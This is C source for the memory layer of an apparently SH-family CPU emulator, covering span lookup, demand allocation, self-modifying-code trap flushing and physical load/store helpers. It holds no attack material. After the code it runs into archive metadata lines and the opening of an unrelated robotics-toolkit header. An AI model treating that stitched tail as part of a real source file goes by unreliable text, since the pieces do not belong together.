void btesh2_spandmd_demandInit(BTESH2_PhysSpan *sp)
{
byte **refptr;
byte *data;
int i, sz;
refptr=sp->dmdaddr;
sz=(sp->limit-sp->base)+1;
data=malloc(sz);
memset(data, 0, sz);
sp->data=data;
if(refptr)
*refptr=data;
sp->GetB=btesh2_spandfl_GetB;
sp->GetW=btesh2_spandfl_GetW;
sp->GetD=btesh2_spandfl_GetD;
sp->GetQ=btesh2_spandfl_GetQ;
sp->SetB=btesh2_spandfl_SetB;
sp->SetW=btesh2_spandfl_SetW;
sp->SetD=btesh2_spandfl_SetD;
sp->SetQ=btesh2_spandfl_SetQ;
if(sp->dmdflag)
sp->SetB=btesh2_spandfl_SetB_Fl;
}
u32 btesh2_spandmd_GetB(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
btesh2_spandmd_demandInit(sp);
return(sp->GetB(sp, cpu, reladdr));
}
u32 btesh2_spandmd_GetW(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
btesh2_spandmd_demandInit(sp);
return(sp->GetW(sp, cpu, reladdr));
}
u32 btesh2_spandmd_GetD(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
btesh2_spandmd_demandInit(sp);
return(sp->GetD(sp, cpu, reladdr));
}
u64 btesh2_spandmd_GetQ(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
btesh2_spandmd_demandInit(sp);
return(sp->GetQ(sp, cpu, reladdr));
}
int btesh2_spandmd_SetB(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
btesh2_spandmd_demandInit(sp);
return(sp->SetB(sp, cpu, reladdr, val));
}
int btesh2_spandmd_SetW(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
btesh2_spandmd_demandInit(sp);
return(sp->SetW(sp, cpu, reladdr, val));
}
int btesh2_spandmd_SetD(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
btesh2_spandmd_demandInit(sp);
return(sp->SetD(sp, cpu, reladdr, val));
}
int btesh2_spandmd_SetQ(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u64 val)
{
btesh2_spandmd_demandInit(sp);
return(sp->SetQ(sp, cpu, reladdr, val));
}
int BTESH2_MemoryDefineSpanDemand(BTESH2_MemoryImage *img,
btesh2_paddr base, btesh2_paddr limit, byte **addr, int *flag, char *name)
{
BTESH2_PhysSpan *sp;
int i, sz;
sp=BTESH2_AllocPhysSpan();
sp->base=base;
sp->limit=limit;
sp->range_n3=limit-base-3;
sp->dmdaddr=addr;
sp->dmdflag=flag;
sp->name=name;
sp->GetB=btesh2_spandmd_GetB;
sp->GetW=btesh2_spandmd_GetW;
sp->GetD=btesh2_spandmd_GetD;
sp->GetQ=btesh2_spandmd_GetQ;
sp->SetB=btesh2_spandmd_SetB;
sp->SetW=btesh2_spandmd_SetW;
sp->SetD=btesh2_spandmd_SetD;
sp->SetQ=btesh2_spandmd_SetQ;
i=BTESH2_MemoryAddSpan(img, sp);
return(i);
}
u32 btesh2_spanreg_GetB(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
u32 i, j;
i=sp->GetD(sp, cpu, reladdr&(~3));
if(cpu->csfl&1)
{
j=(i>>((reladdr&3)*8));
}else
{
j=(i>>((3-(reladdr&3))*8));
}
j=(sbyte)j;
return(j);
}
u32 btesh2_spanreg_GetW(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
u32 i, j;
i=sp->GetD(sp, cpu, reladdr&(~3));
if(cpu->csfl&1)
{
j=(i>>((reladdr&3)*8));
}else
{
j=(i>>((3-(reladdr&3))*8));
}
j=(s16)j;
return(j);
}
int btesh2_spanreg_SetB(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
int i;
i=sp->SetD(sp, cpu, reladdr, val);
return(i);
}
int btesh2_spanreg_SetW(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
int i;
i=sp->SetD(sp, cpu, reladdr, val);
return(i);
}
u64 btesh2_spanreg_GetQ(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
if(cpu->csfl&BTESH2_CSFL_LE)
{
return(sp->GetD(sp, cpu, reladdr+0)+
(((u64)sp->GetD(sp, cpu, reladdr+4))<<32));
}else
{
return(sp->GetD(sp, cpu, reladdr+4)+
(((u64)sp->GetD(sp, cpu, reladdr+0))<<32));
}
}
int btesh2_spanreg_SetQ(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u64 val)
{
if(cpu->csfl&BTESH2_CSFL_LE)
{
sp->SetD(sp, cpu, reladdr+0, val);
sp->SetD(sp, cpu, reladdr+4, val>>32);
return(0);
}else
{
sp->SetD(sp, cpu, reladdr+4, val);
sp->SetD(sp, cpu, reladdr+0, val>>32);
return(0);
}
}
int BTESH2_MemoryDefineSpanRegs(BTESH2_MemoryImage *img,
btesh2_paddr base, btesh2_paddr limit, char *name,
u32 (*GetD)(BTESH2_PhysSpan *sp, BTESH2_CpuState *cpu,
btesh2_paddr reladdr),
int (*SetD)(BTESH2_PhysSpan *sp, BTESH2_CpuState *cpu,
btesh2_paddr reladdr, u32 val)
)
{
BTESH2_PhysSpan *sp;
int i, sz;
sp=BTESH2_AllocPhysSpan();
sp->base=base;
sp->limit=limit;
sp->range_n3=limit-base-3;
// sp->data=(byte *)data;
sp->name=name;
sp->GetD=GetD;
sp->SetD=SetD;
sp->GetB=btesh2_spanreg_GetB;
sp->GetW=btesh2_spanreg_GetW;
sp->SetB=btesh2_spanreg_SetB;
sp->SetW=btesh2_spanreg_SetW;
sp->GetQ=btesh2_spanreg_GetQ;
sp->SetQ=btesh2_spanreg_SetQ;
i=BTESH2_MemoryAddSpan(img, sp);
return(i);
}
BTESH2_PhysSpan *BTESH2_GetSpanForAddr(BTESH2_CpuState *cpu,
btesh2_paddr addr, btesh2_paddr lim)
{
BTESH2_MemoryImage *mem;
BTESH2_PhysSpan *sp, *sp1;
int ns, is, ms;
int l, h, r, m;
if(addr>lim)
return(NULL);
mem=cpu->memory;
// sp=mem->pspan;
sp=cpu->pspan;
// if(sp && ((addr-sp->base)<=sp->range_n3))
// return(sp);
if(sp)
{
if((addr>=sp->base) && (lim<=sp->limit))
return(sp);
}
// sp1=mem->pspanb;
sp1=cpu->pspanb;
#if 0
if(sp1 && ((addr-sp1->base)<=sp1->range_n3))
{
mem->pspan=sp1;
mem->pspanb=sp;
return(sp1);
}
#endif
#if 1
if(sp1)
{
if((addr>=sp1->base) && (lim<=sp1->limit))
{
// mem->pspan=sp1;
// mem->pspanb=sp;
cpu->pspan=sp1;
cpu->pspanb=sp;
return(sp1);
}
}
#endif
ns=mem->nspan;
sp1=sp;
if(ns<5)
{
for(is=0; is<ns; is++)
{
sp=mem->span[is];
if((addr>=sp->base) && (lim<=sp->limit))
{
// mem->pspanb=mem->pspan;
// mem->pspanb=sp1;
// mem->pspan=sp;
cpu->pspanb=sp1;
cpu->pspan=sp;
return(sp);
}
}
return(NULL);
}
#if 0
is=0;
while(ns>0)
{
ms=is+(ns>>1);
sp=mem->span[ms];
if((addr>=sp->base) && (lim<=sp->limit))
{ mem->pspan=sp; return(sp); }
if(addr>sp->base)
{ is=ms+1; ns=ns-is; }
else
{ ns=ms-is; }
}
#endif
#if 1
l=0; h=ns;
r=h-l; m=l+(r>>1);
while(r>0)
{
m=l+(r>>1);
sp=mem->span[m];
if((addr>=sp->base) && (lim<=sp->limit))
{
// mem->pspanb=mem->pspan;
// mem->pspanb=sp1;
// mem->pspan=sp;
cpu->pspanb=sp1;
cpu->pspan=sp;
return(sp);
}
if(addr>sp->base)
{ l=m+1; r=h-l; }
else
{ h=m; r=h-l; }
}
#endif
#if 1
for(is=0; is<ns; is++)
{
sp=mem->span[is];
if((addr>=sp->base) && (lim<=sp->limit))
{
// mem->pspanb=mem->pspan;
// mem->pspanb=sp1;
// mem->pspan=sp;
cpu->pspanb=sp1;
cpu->pspan=sp;
return(sp);
}
}
#endif
return(NULL);
}
int BTESH2_ThrowTrap(BTESH2_CpuState *cpu, int status)
{
int i;
if(cpu->status)
return(-1);
printf("<!>\n");
// cpu->regs[BTESH2_REG_PC]=cpu->ptcpc+2;
// cpu->regs[BTESH2_REG_RLO+BTESH2_REG_PC]=(cpu->ptcpc+2);
// cpu->regs[BTESH2_REG_RHI+BTESH2_REG_PC]=(cpu->ptcpc+2)>>32;
BTESH2_SetRegQWord(cpu, BTESH2_REG_PC, cpu->ptcpc+2);
cpu->status=status;
cpu->trnext=NULL;
cpu->trjmpnext=NULL;
// for(i=0; i<64; i++)
// for(i=0; i<256; i++)
for(i=0; i<128; i++)
{
// cpu->trapregs[i]=cpu->regs[i];
cpu->trapqregs[i]=cpu->qregs[i];
}
// for(i=0; i<16; i++)
for(i=0; i<64; i++)
cpu->trapfregs[i]=cpu->fregs[i];
// cpu->trapregs[BTESH2_REG_RLO+BTESH2_REG_PC]=(cpu->ptcpc+2);
// cpu->trapregs[BTESH2_REG_RHI+BTESH2_REG_PC]=(cpu->ptcpc+2)>>32;
return(0);
}
int BTESH2_RestoreTrap(BTESH2_CpuState *cpu)
{
int i;
// for(i=0; i<64; i++)
// for(i=0; i<256; i++)
// cpu->regs[i]=cpu->trapregs[i];
for(i=0; i<128; i++)
cpu->qregs[i]=cpu->trapqregs[i];
// for(i=0; i<16; i++)
for(i=0; i<64; i++)
cpu->fregs[i]=cpu->trapfregs[i];
return(0);
}
#if 0
int BTESH2_CheckAddrTrapSmc_FlushAddrA(
BTESH2_CpuState *cpu, btesh2_paddr addr, u32 val)
{
BTESH2_Trace *tr;
u32 *pbm;
int pg, bp, bm;
int p0, p1;
int i, j, k, st;
pg=addr>>12;
bm=pg>>14;
pbm=cpu->smcdbm[bm];
if(!pbm)
return(0);
bp=pg&16383;
printf("Flush SMC2 Pg=%05X V=%08X PC=%08X\n",
addr>>12, val, cpu->ptcpc);
st=0;
lsmc=-1;
for(i=0; i<(BTESH2_TR_HASHSZ*BTESH2_TR_HASHLVL); i++)
{
tr=cpu->icache[i];
if(!tr)
continue;
p0=tr->srcpc>>12;
// p1=(tr->maxpc-1)>>12;
p1=tr->maxpc>>12;
if((pg>=p0) && (pg<=p1))
// if((addr>=tr->srcpc) && (addr<tr->maxpc))
{
// printf("Flush SMC2 %08X Pg=%05X Tr=%08X..%08X V=%08X\n",
// addr, addr>>12, tr->srcpc, tr->maxpc, val);
if(tr==cpu->cur_trace)
if((addr>=tr->srcpc) && (addr<tr->maxpc))
{
printf("Trap SMC\n");
BTESH2_ThrowTrap(cpu, BTESH2_EXC_TRAPSMC);
st|=1;
continue;
}
tr->jtflag&=~BTESH2_TRJTFL_ICACHE;
cpu->icache[i]=NULL;
if(!(tr->jtflag&BTESH2_TRJTFL_NOFREE_MASK))
{
BTESH2_FlushTrace(cpu, tr);
BTESH2_FreeTrace(cpu, tr);
}else if(tr->jtflag&BTESH2_TRJTFL_LINKED)
{
cpu->jit_needflush=1;
break;
}
st|=4;
}
}
#ifdef BTESH2_TR_JHASHSZ
for(i=0; i<(BTESH2_TR_JHASHSZ*BTESH2_TR_JHASHLVL); i++)
{
tr=cpu->jcache[i];
if(!tr)
continue;
p0=tr->srcpc>>12;
// p1=(tr->maxpc-1)>>12;
p1=tr->maxpc>>12;
if((pg>=p0) && (pg<=p1))
// if((addr>=tr->srcpc) && (addr<tr->maxpc))
{
// printf("Flush SMC2 %08X Pg=%05X Tr=%08X..%08X V=%08X\n",
// addr, addr>>12, tr->srcpc, tr->maxpc, val);
if(tr==cpu->cur_trace)
if((addr>=tr->srcpc) && (addr<tr->maxpc))
{
printf("Trap SMC\n");
BTESH2_ThrowTrap(cpu, BTESH2_EXC_TRAPSMC);
st|=1;
continue;
}
cpu->jcache[i]=NULL;
tr->jtflag&=~BTESH2_TRJTFL_JCACHE;
if(!(tr->jtflag&BTESH2_TRJTFL_NOFREE_MASK))
{
BTESH2_FlushTrace(cpu, tr);
BTESH2_FreeTrace(cpu, tr);
}else if(tr->jtflag&BTESH2_TRJTFL_LINKED)
{
cpu->jit_needflush=1;
break;
}
st|=4;
}
}
#endif
return(st);
}
#endif
#if 1
int BTESH2_CheckAddrTrapSmc_FlushAddrB(
BTESH2_CpuState *cpu, btesh2_paddr addr, u32 val)
{
BTESH2_Trace *tr;
u32 *pbm;
int pg, bp, bm;
int p0, p1;
int i, j, k, st;
pg=addr>>12;
bm=pg>>14;
pbm=cpu->smcdbm[bm];
if(!pbm)
return(0);
bp=pg&16383;
// printf("Flush SMC2 Pg=%05X V=%08X PC=%08X\n",
// addr>>12, val, cpu->ptcpc);
// printf("Check SMC %08X\n", addr);
st=0;
// for(i=0; i<BTESH2_TR_HASHSZ; i++)
for(i=0; i<(BTESH2_TR_HASHSZ*BTESH2_TR_HASHLVL); i++)
{
tr=cpu->icache[i];
if(!tr)
continue;
p0=tr->srcpc>>12;
p1=tr->maxpc>>12;
if((addr>=tr->srcpc) && (addr<tr->maxpc))
{
if(tr==cpu->cur_trace)
{
printf("Trap SMC\n");
BTESH2_ThrowTrap(cpu, BTESH2_EXC_TRAPSMC);
st|=1;
continue;
}
tr->jtflag&=~BTESH2_TRJTFL_ICACHE;
cpu->icache[i]=NULL;
if(!(tr->jtflag&BTESH2_TRJTFL_NOFREE_MASK))
{
BTESH2_FlushTrace(cpu, tr);
BTESH2_FreeTrace(cpu, tr);
cpu->trnext=NULL;
cpu->trjmpnext=NULL;
}else if(tr->jtflag&BTESH2_TRJTFL_LINKED)
{
cpu->jit_needflush=1;
cpu->trnext=NULL;
cpu->trjmpnext=NULL;
break;
}
st|=4;
}else
{
if((pg>=p0) && (pg<=p1))
st|=2;
}
}
#ifdef BTESH2_TR_JHASHSZ
for(i=0; i<(BTESH2_TR_JHASHSZ*BTESH2_TR_JHASHLVL); i++)
{
tr=cpu->jcache[i];
if(!tr)
continue;
p0=tr->srcpc>>12;
p1=tr->maxpc>>12;
if((pg>=p0) && (pg<=p1))
// if((addr>=tr->srcpc) && (addr<tr->maxpc))
{
if(tr==cpu->cur_trace)
if((addr>=tr->srcpc) && (addr<tr->maxpc))
{
printf("Trap SMC\n");
BTESH2_ThrowTrap(cpu, BTESH2_EXC_TRAPSMC);
st|=1;
continue;
}
cpu->jcache[i]=NULL;
tr->jtflag&=~BTESH2_TRJTFL_JCACHE;
if(!(tr->jtflag&BTESH2_TRJTFL_NOFREE_MASK))
{
BTESH2_FlushTrace(cpu, tr);
BTESH2_FreeTrace(cpu, tr);
cpu->trnext=NULL;
cpu->trjmpnext=NULL;
}else if(tr->jtflag&BTESH2_TRJTFL_LINKED)
{
cpu->jit_needflush=1;
cpu->trnext=NULL;
cpu->trjmpnext=NULL;
break;
}
st|=4;
}else
{
if((pg>=p0) && (pg<=p1))
st|=2;
}
}
#endif
if(cpu->jit_needflush)
return(st);
for(i=0; i<256; i++)
{
tr=cpu->trlinked[i];
while(tr)
{
p0=tr->srcpc>>12;
p1=tr->maxpc>>12;
if((pg>=p0) && (pg<=p1))
{
cpu->jit_needflush=1;
cpu->trnext=NULL;
cpu->trjmpnext=NULL;
return(st);
}
tr=tr->lnknext;
}
}
return(st);
}
#endif
int BTESH2_CheckAddrTrapSmc(BTESH2_CpuState *cpu,
btesh2_paddr addr, u32 val)
{
// static int lsmc=-1;
BTESH2_Trace *tr;
u32 *pbm;
int pg, bp, bm;
int p0, p1;
int i, j, k, st;
#if 1
if(((addr&4095)+3)>>12)
{
i=BTESH2_CheckAddrTrapSmc(cpu, (addr )&(~3), val);
j=BTESH2_CheckAddrTrapSmc(cpu, (addr+3)&(~3), val);
return(i|j);
}
#endif
pg=addr>>12;
bm=pg>>14;
pbm=cpu->smcdbm[bm];
if(!pbm)
return(0);
bp=pg&16383;
// if(cpu->smcdbm[bm][bp>>5]&(1<<(bp&31)))
if(pbm[bp>>5]&(1<<(bp&31)))
{
cpu->trnext=NULL;
cpu->trjmpnext=NULL;
if(pg==cpu->lsmc)
{
st=BTESH2_CheckAddrTrapSmc_FlushAddrB(cpu, addr, val);
if(!st)
{
// cpu->smcdbm[bm][bp>>5]&=~(1<<(bp&31));
pbm[bp>>5]&=~(1<<(bp&31));
}
return(st&1);
}else
{
st=BTESH2_CheckAddrTrapSmc_FlushAddrB(cpu, addr, val);
// st=BTESH2_CheckAddrTrapSmc_FlushAddrA(cpu, addr, val);
if(st&(1|4))
{ cpu->lsmc=pg; }
else
{ cpu->lsmc=-1; }
}
if(!st)
{
// cpu->smcdbm[bm][bp>>5]&=~(1<<(bp&31));
pbm[bp>>5]&=~(1<<(bp&31));
}
return(st&1);
}
return(0);
}
int BTESH2_MarkAddrTrapSmc(BTESH2_CpuState *cpu, btesh2_paddr addr)
{
int pg, bp, bm;
int i, j, k, st;
pg=addr>>12;
bp=pg&16383;
bm=pg>>14;
if(!cpu->smcdbm[bm])
{
cpu->smcdbm[bm]=malloc(512*sizeof(u32));
// return(0);
}
cpu->smcdbm[bm][bp>>5]|=(1<<(bp&31));
return(0);
}
int BTESH2_GetAddrBytePhy(BTESH2_CpuState *cpu, btesh2_paddr addr)
{
BTESH2_PhysSpan *sp;
byte *ptr;
sp=BTESH2_GetSpanForAddr(cpu, addr, addr);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->GetB(sp, cpu, addr-sp->base));
}
int BTESH2_GetAddrWordPhy(BTESH2_CpuState *cpu, btesh2_paddr addr)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+1);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->GetW(sp, cpu, addr-sp->base));
}
u32 BTESH2_GetAddrDWordPhy(BTESH2_CpuState *cpu, btesh2_paddr addr)
{
BTESH2_PhysSpan *sp;
byte *ptr;
u32 i;
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+3);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return((u32)(-1));
}
return(sp->GetD(sp, cpu, addr-sp->base));
}
u64 BTESH2_GetAddrQWordPhy(BTESH2_CpuState *cpu, btesh2_paddr addr)
{
BTESH2_PhysSpan *sp;
byte *ptr;
u32 i;
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+7);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return((u64)(-1));
}
return(sp->GetQ(sp, cpu, addr-sp->base));
}
int BTESH2_SetAddrBytePhy(BTESH2_CpuState *cpu, btesh2_paddr addr, int val)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
if(cpu->status)
return(-1);
if(BTESH2_CheckAddrTrapSmc(cpu, addr, val))
return(-1);
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+1);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->SetB(sp, cpu, addr-sp->base, val));
}
int BTESH2_SetAddrWordPhy(BTESH2_CpuState *cpu, btesh2_paddr addr, int val)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
if(cpu->status)
return(-1);
if(BTESH2_CheckAddrTrapSmc(cpu, addr, val))
return(-1);
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+1);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->SetW(sp, cpu, addr-sp->base, val));
}
int BTESH2_SetAddrDWordPhy(BTESH2_CpuState *cpu, btesh2_paddr addr, u32 val)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
if(cpu->status)
return(-1);
if(BTESH2_CheckAddrTrapSmc(cpu, addr, val))
return(-1);
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+3);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->SetD(sp, cpu, addr-sp->base, val));
}
int BTESH2_SetAddrQWordPhy(BTESH2_CpuState *cpu, btesh2_paddr addr, u64 val)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
if(cpu->status)
return(-1);
if(BTESH2_CheckAddrTrapSmc(cpu, addr, val))
return(-1);
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+7);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->SetQ(sp, cpu, addr-sp->base, val));
}
int BTESH2_SetAddrBytePhy2(BTESH2_CpuState *cpu, btesh2_paddr addr, int val)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+1);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->SetB(sp, cpu, addr-sp->base, val));
}
int BTESH2_SetAddrWordPhy2(BTESH2_CpuState *cpu, btesh2_paddr addr, int val)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+1);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->SetW(sp, cpu, addr-sp->base, val));
}
int BTESH2_SetAddrDWordPhy2(BTESH2_CpuState *cpu, btesh2_paddr addr, u32 val)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+3);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->SetD(sp, cpu, addr-sp->base, val));
}
int BTESH2_SetAddrQWordPhy2(BTESH2_CpuState *cpu, btesh2_paddr addr, u64 val)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+7);
if(!sp)
{
// cpu->regs[BTESH2_REG_FLA]=addr;
// cpu->regs[BTESH2_REG_TEA]=addr;
BTESH2_SetRegQWord(cpu, BTESH2_REG_TEA, addr);
BTESH2_ThrowTrap(cpu, BTESH2_EXC_INVADDR);
return(-1);
}
return(sp->SetQ(sp, cpu, addr-sp->base, val));
}
int BTESH2_MemCpyIn(BTESH2_CpuState *cpu, btesh2_paddr addr,
byte *buf, int sz)
{
BTESH2_PhysSpan *sp;
byte *ptr;
int i;
sp=BTESH2_GetSpanForAddr(cpu, addr, addr+sz-1);
if(!sp || !sp->data)
{ return(-1); }
memcpy(sp->data+(addr-sp->base), buf, sz);
return(0);
}
int BTESH2_GetAddrByte(BTESH2_CpuState *cpu, btesh2_paddr addr)
{ return(cpu->GetAddrByte(cpu, addr)); }
int BTESH2_GetAddrWord(BTESH2_CpuState *cpu, btesh2_paddr addr)
{ return(cpu->GetAddrWord(cpu, addr)); }
u32 BTESH2_GetAddrDWord(BTESH2_CpuState *cpu, btesh2_paddr addr)
{ return(cpu->GetAddrDWord(cpu, addr)); }
u64 BTESH2_GetAddrQWord(BTESH2_CpuState *cpu, btesh2_paddr addr)
{ return(cpu->GetAddrQWord(cpu, addr)); }
int BTESH2_SetAddrByte(BTESH2_CpuState *cpu, btesh2_paddr addr, int val)
{ return(cpu->SetAddrByte(cpu, addr, val)); }
int BTESH2_SetAddrWord(BTESH2_CpuState *cpu, btesh2_paddr addr, int val)
{ return(cpu->SetAddrWord(cpu, addr, val)); }
int BTESH2_SetAddrDWord(BTESH2_CpuState *cpu, btesh2_paddr addr, u32 val)
{ return(cpu->SetAddrDWord(cpu, addr, val)); }
int BTESH2_SetAddrQWord(BTESH2_CpuState *cpu, btesh2_paddr addr, u64 val)
{ return(cpu->SetAddrQWord(cpu, addr, val)); }
int BTESH2_CheckCpuFmmuP(BTESH2_CpuState *cpu)
{ return(cpu->GetAddrDWord==BTESH2_GetAddrDWordFMMU); }
#if 0
force_inline u32 BTESH2_GetRegDWord(BTESH2_CpuState *cpu, int rm)
{
u64 i, j, k;
i=(s32)(cpu->qregs[rm].q);
return(i);
}
force_inline int BTESH2_SetRegDWord(BTESH2_CpuState *cpu, int rn, u32 val)
{
// if(rn>>7)
// __debugbreak();
// cpu->regs[rn+BTESH2_REG_RLO]=val;
// cpu->regs[rn+BTESH2_REG_RHI]=val>>32;
cpu->qregs[rn].q=(s32)val;
// if(rn==BTESH2_REG_SR)
// __debugbreak();
return(0);
}
force_inline u64 BTESH2_GetRegDWordSx(BTESH2_CpuState *cpu, int rm)
{
u64 i, j, k;
// if(rn>>7)
// __debugbreak();
i=(s32)(cpu->qregs[rm].q);
return(i);
}
force_inline int BTESH2_SetRegDWordSx(BTESH2_CpuState *cpu, int rn, u32 val)
{
// if(rn>>7)
// __debugbreak();
// cpu->regs[rn+BTESH2_REG_RLO]=val;
// cpu->regs[rn+BTESH2_REG_RHI]=val>>32;
cpu->qregs[rn].q=(s32)val;
// if(rn==BTESH2_REG_SR)
// __debugbreak();
return(0);
}
force_inline u64 BTESH2_GetRegDWordZx(BTESH2_CpuState *cpu, int rm)
{
u64 i, j, k;
i=(u32)(cpu->qregs[rm].q);
return(i);
}
force_inline int BTESH2_SetRegDWordZx(BTESH2_CpuState *cpu, int rn, u32 val)
{
// if(rn>>7)
// __debugbreak();
// cpu->regs[rn+BTESH2_REG_RLO]=val;
// cpu->regs[rn+BTESH2_REG_RHI]=val>>32;
cpu->qregs[rn].q=(u32)val;
return(0);
}
#endif
#if 0
force_inline u32 BTESH2_GetRegDWordL(BTESH2_CpuState *cpu, int rm)
{
u64 i, j, k;
i=(s32)(cpu->qregs[rm].q);
return(i);
}
force_inline u32 BTESH2_GetRegDWordH(BTESH2_CpuState *cpu, int rm)
{
u64 i, j, k;
i=(s32)((cpu->qregs[rm].q)>>32);
return(i);
}
force_inline int BTESH2_SetRegDWordL(BTESH2_CpuState *cpu, int rn, u32 val)
{
// if(rn>>7)
// __debugbreak();
cpu->qregs[rn].q=(cpu->qregs[rn].q&0xFFFFFFFF00000000)|val;
return(0);
}
force_inline int BTESH2_SetRegDWordH(BTESH2_CpuState *cpu, int rn, u32 val)
{
// if(rn>>7)
// __debugbreak();
cpu->qregs[rn].q=
(cpu->qregs[rn].q&0x00000000FFFFFFFF)|
(((u64)val)<<32);
return(0);
}
#endif
#if 0
force_inline u64 BTESH2_GetRegQWord(BTESH2_CpuState *cpu, int rm)
{
u64 i, j, k;
// i=cpu->regs[rm+BTESH2_REG_RLO]|
// ((u64)cpu->regs[rm+BTESH2_REG_RHI]<<32);
i=cpu->qregs[rm].q;
return(i);
}
force_inline int BTESH2_SetRegQWord(BTESH2_CpuState *cpu, int rn, u64 val)
{
// if(rn>>7)
// __debugbreak();
// cpu->regs[rn+BTESH2_REG_RLO]=val;
// cpu->regs[rn+BTESH2_REG_RHI]=val>>32;
cpu->qregs[rn].q=val;
return(0);
}
#endif
force_inline u64 BTESH2_GetFRegQWord(BTESH2_CpuState *cpu, int rm)
{
u64 i, j, k;
i=cpu->fregs[rm+1]|((u64)cpu->fregs[rm+0]<<32);
return(i);
}
force_inline int BTESH2_SetFRegQWord(BTESH2_CpuState *cpu, int rn, u64 val)
{
// if(rn>>6)
// __debugbreak();
cpu->fregs[rn+1]=val;
cpu->fregs[rn+0]=val>>32;
return(0);
}
|
135458.c | 30 mtime=1639777085.430355983
30 atime=1639777086.344355983
30 ctime=1639777128.052355983
|
593432.c | /* +---------------------------------------------------------------------------+
| Mobile Robot Programming Toolkit (MRPT) |
